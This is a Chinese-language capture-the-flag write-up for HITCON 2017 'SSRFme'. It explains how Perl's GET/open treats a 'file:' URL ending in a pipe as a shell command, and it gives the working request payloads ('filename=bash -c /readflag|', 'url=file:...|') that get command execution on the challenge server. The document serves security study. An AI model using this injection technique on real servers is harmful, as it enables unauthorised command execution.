[HITCON 2017]SSRFme perl语言的 GET open file 造成rce

这里记录学习一下 perl的open缺陷

这里首先本地测试一下

发现这里使用open打开 的时候 如果通过管道符 就会实现命令执行

然后这里注意的是 perl 中的get 调用了 open的参数 所以其实我们可以通过管道符实现命令执行

然后这里如果file可控那么就继续可以实现命令执行

这里就是 open支持file协议

file协议加上| 可以将文件名 作为shell输出

touch 'id|'

GET 'file:id|'

类似这种

然后我们可以开始做这个题目

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));

这里是内容 我们输入通过GET url 可以实现写入一个文件

这里考的其实就是

我们通过filename生成一个shell文件(名字为shell)

然后通过(GET filename)这种形式实现命令执行 然后再写入一个文件

这里可能比较抽象 我们来本地测试一下

这里我们首先可以通过

    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);

这种确定是perl语言

然后

我们首先传入

url=123&filename=ls|   //目的创建一个shell名字的文件


然后

url=file:ls|&filename=1.txt  // 通过file协议和| 让ls不做为文件名 而变为shell

首先了命令执行

然后

这里可以发现是一个二进制文件 无法获取flag 我们通过 bash开启操作即可

?url=123|&filename=bash -c /readflag|

/?url=file:bash -c /readflag|&filename=1.txt

然后我们就获取到了flag 这里或者可以通过反弹shell实现 但是麻烦了

相关推荐

  1. [HITCON 2016]Leaking

    2023-12-08 09:02:01       40 阅读
  2. WooYun-2016-199433 -phpmyadmin-反序列化RCE-getshell

    2023-12-08 09:02:01       29 阅读
  3. 如何防止 DNS 攻击造成损失

    2023-12-08 09:02:01       50 阅读
  4. torch.empty()造成内存溢出问题

    2023-12-08 09:02:01       52 阅读
  5. 系统交互造成乱码问题

    2023-12-08 09:02:01       32 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-08 09:02:01       91 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-08 09:02:01       97 阅读
  3. 在Django里面运行非项目文件

    2023-12-08 09:02:01       78 阅读
  4. Python语言-面向对象

    2023-12-08 09:02:01       88 阅读

热门阅读

  1. 软件定制开发与标准化产品的比较及选择

    2023-12-08 09:02:01       58 阅读
  2. 游戏架构之面向对象模型和组件模型

    2023-12-08 09:02:01       60 阅读
  3. Nmap脚本的基础知识

    2023-12-08 09:02:01       48 阅读
  4. 52. govaluate使用

    2023-12-08 09:02:01       54 阅读
  5. C#使用Matrix类对Dicom图像的放缩

    2023-12-08 09:02:01       67 阅读
  6. LeetCode-15. 三数之和

    2023-12-08 09:02:01       63 阅读
  7. ElasticSearch中的分析器是什么?

    2023-12-08 09:02:01       57 阅读
  8. R语言进行正态分布检验

    2023-12-08 09:02:01       61 阅读
  9. Mongodb中的ObjectId

    2023-12-08 09:02:01       53 阅读
  10. 看图学源码之 CopyOnWriteArraySet源码分析

    2023-12-08 09:02:01       47 阅读
  11. ZooKeeper学习一

    2023-12-08 09:02:01       45 阅读